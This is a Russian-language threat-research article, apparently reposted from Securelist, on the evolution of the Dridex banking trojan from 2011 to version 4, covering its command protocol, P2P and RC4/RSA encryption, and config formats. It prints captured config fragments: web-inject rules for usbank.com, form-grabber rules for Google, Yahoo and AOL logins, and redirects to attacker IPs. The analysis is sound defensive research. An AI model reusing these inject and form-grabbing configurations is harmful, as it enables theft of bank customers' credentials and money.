История развития Dridex

Источник: securelist

Банковский троянец Dridex, ставший одной из главных финансовых киберугроз последних лет (в 2015 году ущерб, нанесенный им, оценивался в более чем $40 млн), отличается от других вредоносных программ тем, что, существуя с 2011 года, постоянно развивается и усложняется. Так долго избегать правосудия Dridex смог благодаря сокрытию основных командных центров за проксирующими слоями. Основываясь на том, что с появлением новых версий старые перестают работать, а каждое новое улучшение является очередным шагом в планомерном развитии зловреда, можно сделать вывод, что на протяжении всего этого времени его разработкой занимаются одни и те же люди. Ниже мы кратко расскажем о том, как на протяжении шести лет развивалось это вредоносное ПО и раскроем технические особенности его последних версий.

История развития Dridex

С чего все начиналось

Первое появление Dridex (тогда - Cridex) как самостоятельной вредоносной программы датируется примерно сентябрем 2011 года. Анализ образца Cridex (MD5: 78cc821b5acfc017c855bc7060479f84) показал, что вредоносная программа уже тогда умела получать динамический конфигурационный файл, использовать веб-инжекты для кражи денег, а также могла заражать USB-накопители. Эта особенность повлияла на имя детекта "нулевой" версии Cridex - Worm.Win32.Cridex.

Данная версия имела бинарный конфигурационный файл:

История развития Dridex

Сами веб-инжекты, благодаря секциям databefore, datainject и dataafter, были похожи на распространенную вредоносную программу Zeus (этому могла поспособствовать утечка исходных кодов Zeus в 2011 году).

Cridex 0.77-0.80

В 2012 году модификация Cridex (MD5: 45ceacdc333a6a49ef23ad87196f375f) претерпела значительные изменения: злоумышленники отказались от функции заражения USB и заменили бинарный формат конфигурационного файла и пакетов на XML. Запрос зловреда к командному серверу выглядел следующим образом:

1
2
3
4
5
6
7
8
9
<message set_hash="" req_set="1" req_upd="1">
    <header>
        <unique>WIN-1DUOM1MNS4F_A47E8EE5C9037AFE</unique>
        <version>600</version>
        <system>221440</system>
        <network>10</network>
    </header>
    <data></data>
</message>

Корневым элементом XML был тег <message>. В теге <header> содержалась информация о системе, идентификаторе бота, а также версии.

А вот пример конфигурационного файла:

1
2
3
4
5
<packet><commands><cmd id="1354" type="3"><httpinject><conditions><url type="deny">\.(css/js)($/\?)</url><url type="allow" contentType="^text/(html/plain)"><![CDATA[https://.*?\.usbank\.com/]]></url></conditions><actions><modify><pattern><![CDATA[<body.*?>(.*?)]]></pattern><replacement><![CDATA[<link href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/>
  <style type="text/css">
    .ui-dialog-titlebar{ background: white }
.text1a{font-family: Arial; font-size: 10px;}

За исключением корневого элемента <packet>, конфигурационный файл Dridex 0.8 практически не менялся до версии 3.0.

Dridex 1.10

Существование "нулевой" версии продолжалось вплоть до июня 2014. В том же месяце произошла крупная операция (Operation Tovar) по закрытию другой распространенной вредоносной программы - Gameover Zeus. Практически одновременно с закрытием Zeus "нулевая" версия Cridex прекратила работу и буквально через месяц (22 июня) появился Dridex версии 1.100.

История развития Dridex

Пример конфигурационного файла:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<root>
<settings hash="65762ae2bf50e54757163e60efacbe144de96aca">
<httpshots>
<url type="deny" onget="1" onpost="1">\.(gif/png/jpg/css/swf/ico/js)($/\?)</url>
<url type="deny" onget="1" onpost="1">(resource\.axd/yimg\.com)</url>
</httpshots>
<formgrabber>
<url type="deny">\.(swf)($/\?)</url><url type="deny">/isapi/ocget.dll</url>
<url type="allow">^https?://aol.com/.*/login/</url>
<url type="allow">^https?://accounts.google.com/ServiceLoginAuth</url>
<url type="allow">^https?://login.yahoo.com/</url>
...
<redirects>
<redirect name="1st" vnc="0" socks="0" uri="http://81.208.13.10:8080/injectgate" timeout="20">twister5.js</redirect>
<redirect name="2nd" vnc="1" socks="1" uri="http://81.208.13.10:8080/tokengate" timeout="20">mainsc5.js</redirect>
<redirect name="vbv1" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/js.php" timeout="20">/logs/dtukvbv/js.php</redirect>
<redirect name="vbv2" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/in.php" timeout="20">/logs/dtukvbv/in.php</redirect>
</redirects>
<httpinjects>
<httpinject><conditions>
<url type="allow" onpost="1" onget="1" modifiers="U"><![CDATA[^https\://.*/tdsecure/intro\.jsp.*]]></url>
<url type="deny" onpost="0" onget="1" modifiers="">\.(gif/png/jpg/css/swf)($/\?)</url>
</conditions>
<actions>
<modify><pattern modifiers="msU"><![CDATA[onKeyDown\=".*"]]></pattern><replacement><![CDATA[onKeyDown=""]]></replacement></modify>
<modify><pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern><replacement><![CDATA[\1<style type="text/css">
body {visibility: hidden; }
</style>
...

В нем уже появились характерные для Dridex редиректы для инжектируемых .js-скриптов.

А вот сравнение инжектов Dridex и Gameover Zeus:

История развития Dridex

Таким образом закрытие одной популярной бот-сети (Gameover Zeus) привело к резкому скачку в развитии другой, включающей в себя множество совпадений со своим предшественником.

Выше мы отметили, что Dridex начал использовать PCRE, а в предыдущих версиях зловреда использовался SLRE. Примечательно, что единственной банковской вредоносной программой, которая также использовала SLRE, был Trojan-Banker.Win32.Shifu. Этот троянец был обнаружен в августе 2015 года и распространялся посредством спама с тех же ботнетов, что и Dridex. Кроме того, и в том, и в другом банкерах использовался формат XML для конфигурационных файлов.

Также у нас есть основание полагать, что по крайней мере в 2014 году за Dridex стояли русскоговорящие злоумышленники. На это указывают комментарии в исходном коде командного сервера:

История развития Dridex

 

Dridex: от версии 2 к версии 3

К началу 2015 года в Dridex появляется подобие пиринговой сети, что опять же напоминает нам о троянце Gameover Zeus. В данной сети некоторые пиры (суперноды) имели доступ к командному центру и перенаправляли запросы других членов сети к нему. Конфигурационный файл по-прежнему хранился в формате XML, но в него была добавлена секция <nodes>, которая сдержала список актуальных пиров. Также появилось шифрование протокола общения с командным центром.

Dridex: от версии 3 к версии 4

28 августа 2015 был арестован один из администраторов сети Dridex. В первых числах сентября перестают работать сети с идентификаторами: 120, 200, 220. Но уже в октябре они возвращаются в строй и появляются новые: 121, 122, 123, 301, 302, 303.

Интересно, что в это время ужесточаются меры предосторожности злоумышленников. В частности, вводится фильтрация по географическому положению: в пакете запроса к командному центру появилось поле IP, на основании которого определялась страна пира. Если страна не попадала в целевой список стран, то пир получал сообщение об ошибке.

В 2016 году усложнился загрузчик и поменялись методы шифрования. Протокол загрузчика изменился на бинарный, а также появилась секция <settings>, содержащая конфигурационный файл в бинарном формате.

Dridex 4.x. Back to future

Четвертая версия Dridex была обнаружена в начале 2017 года. По своим возможностям она похожа на третью, за исключением того, что злоумышленники отказались от использования XML в конфигурационном файле и пакетах и вернулись к бинарному формату. Анализ новых образцов сильно осложняется тем, что загрузчик теперь работает максимум пару дней, примерно так же было с Lurk, только там загрузчик работал пару часов.

Анализ пакетов загрузчика

Структура пакетов четвертой версии схожа с пакетами поздних модификаций версии 3.х загрузчика. Однако имена запрашиваемых модулей были заменены хэшами:

История развития Dridex

А вот функция общения с командным центром, в которой используются данные хэши:

История развития Dridex

Зная структуру пакетов предыдущей версии и сопоставив их с пакетами четвертой, можно догадаться какой хэш к какому модулю относится.

В четвертой версии Dridex достаточно много мест, где используется алгоритм хэширования CRC32: это и хэши для поиска API функций, и проверка целостности пакетов. Логично было бы предположить, что хэши в пакетах - это ни что иное как CRC32 от имен запрашиваемых модулей. Несложно проверить это предположение, выполнив следующий код Python:

История развития Dridex

Все верно, полученные хэши CRC32 соответствуют таковым в коде программы.

Если же говорить о шифровании пакетов загрузчика, то здесь ничего не изменилось. Как и в Dridex версии 3 используется алгоритм RC4 с ключом, хранящимся в зашифрованном виде в теле вредоносной программы.

Кроме того, стал значительно строже протокол авторизации загрузчиков. Время жизни сократилось до одного дня, после чего сменяются ключи шифрования, и старые загрузчики становятся бесполезны. Все устаревшие образцы получают в качестве ответа от сервера ошибку 404.

Анализ протокола и шифрования бота

В Dridex версии 4 были сохранены основные черты взаимодействия c командным сервером, пиры по-прежнему играют роль прокси и могут обмениваться модулями. Но шифрование и сама структура пакетов сильно изменились: теперь они напоминают секцию <settings> из прошлой версии Dridex. Больше никаких XML.

История развития Dridex

Функция Basic Packet Generation используется для создания пакетов для общения как с командным сервером, так и с пирами. Пакеты для командного сервера делятся на два типа:

  1. Регистрация, передается сгенерированный публичный ключ;
  2. Запрос конфигурационного файла.

На выходе данной функции получается следующий пакет:

История развития Dridex 

В начале пакета идет длина RC4 ключа (74h), который будет использоваться для шифрования строк в этом пакете. Далее две части этого ключа одного размера. Настоящий ключ получается путем XOR этих блоков. Далее тип пакета (00h) и зашифрованный идентификатор бота.

Peer-to-Peer encryption

Пример зашифрованного P2P-пакета:

История развития Dridex

Заголовок в P2P-пакете - это массив DWORD, общая сумма которых равна нулю. Обфусцированный размер данных такой же, как и в предыдущее версии. А вот сами данные зашифрованы по-новому:

История развития Dridex

Сначала идет ключ 16 байт, затем 4 байта сведений о размере данных, зашифрованных предыдущим ключом с помощью RC4. Далее идет ключ 16 байт и данные, зашифрованные этим ключом с помощью RC4. После расшифровки получим пакет, сжатый gzip.

Peer to C&C encryption

При общении с командным центром используется, как и раньше, связка RSA + RC4 шифрование + HTTPS. Пиры в этом случаи работают как прокси. Структура зашифрованного пакета - 4 байта CRC далее RSA_BLOB. После расшифровки RSA (пакеты запросов расшифровать невозможно без наличия закрытого ключа командного сервера) получаем GZIP-пакет.

Конфигурационный файл

Нам удалось получить и расшифровать конфигурационный файл бот-сети 222:

История развития Dridex

По своей структуре он сильно напоминает секцию <settings> из предыдущей версии Dridex. Сначала идет 4-байтный хэш, а затем секции конфигурационного файла.

1
2
3
4
5
struct DridexConfigSection {
  BYTE SectionType;
  DWORD DataSize;
  BYTE Data[DataSize];
};

Типы секций те же, что и в <settings>:

  • 01h - HttpShots
  • 02h - Formgrabber
  • 08h - Redirects
  • etc.

Изменилось лишь шифрование строк конфигурационного файла, теперь используется RC4.

1
2
3
4
5
6
struct EncryptedConfigString{
  BYTE RC4Key1[16]; // Size"s encryption key
  DWORD EncryptedSize;
  BYTE RC4Key2[16]; // Data"s encryption key
  BYTE EncryptedData[Size];
};

RC4 также использовалось для шифрования данных p2p-пакетов.

География распространения

История развития Dridex

Потенциальных жертв создатели Dridex ищут в Европе. В период с первого января по начало апреля 2017 года мы обнаружили активность Dridex в нескольких европейских странах. Большая часть срабатываний - почти 60% - была зафиксирована в Великобритании, следом идут Германия и Франция. В то же время зловред принципиально не работает в России - командные сервера определяют страну по IP и не отвечают, если это Россия.

Заключение

За несколько лет существования семейства Dridex не раз предпринимались безуспешные попытки прекратить активность бот-сети. Непрерывное развитие зловреда показывает, что преступники не собираются расставаться со своим детищем, которое приносит стабильный доход. Так, например, в Dridex постоянно появляются новые техники обхода системы контроля учетных записей (User Account Control, UAC), позволяющие осуществлять запуск вредоносных компонентов в Windows-системах.

Можно предположить, что за троянцами Dridex и Zeus Gameover стоят одни и те же люди, возможно, русскоговорящие. Однако утверждать это наверняка мы не можем. Невозможно точно оценить и ущерб, нанесенный киберпреступниками. По крайне приблизительной оценке, на данный момент речь может идти о сотнях миллионах долларов. А учитывая то, как развивается зловред, можно предположить, что в разработку этого банковского троянца инвестируется значительная часть "заработанных" средств.

Анализ сделан на основе следующих семплов:

Dridex4 loader: d0aa5b4dd8163eccf7c1cd84f5723d48
Dridex4 bot: ed8cdd9c6dd5a221f473ecf3a8f39933


Страница сайта http://test.interface.ru
Оригинал находится по адресу http://test.interface.ru/home.asp?artId=39154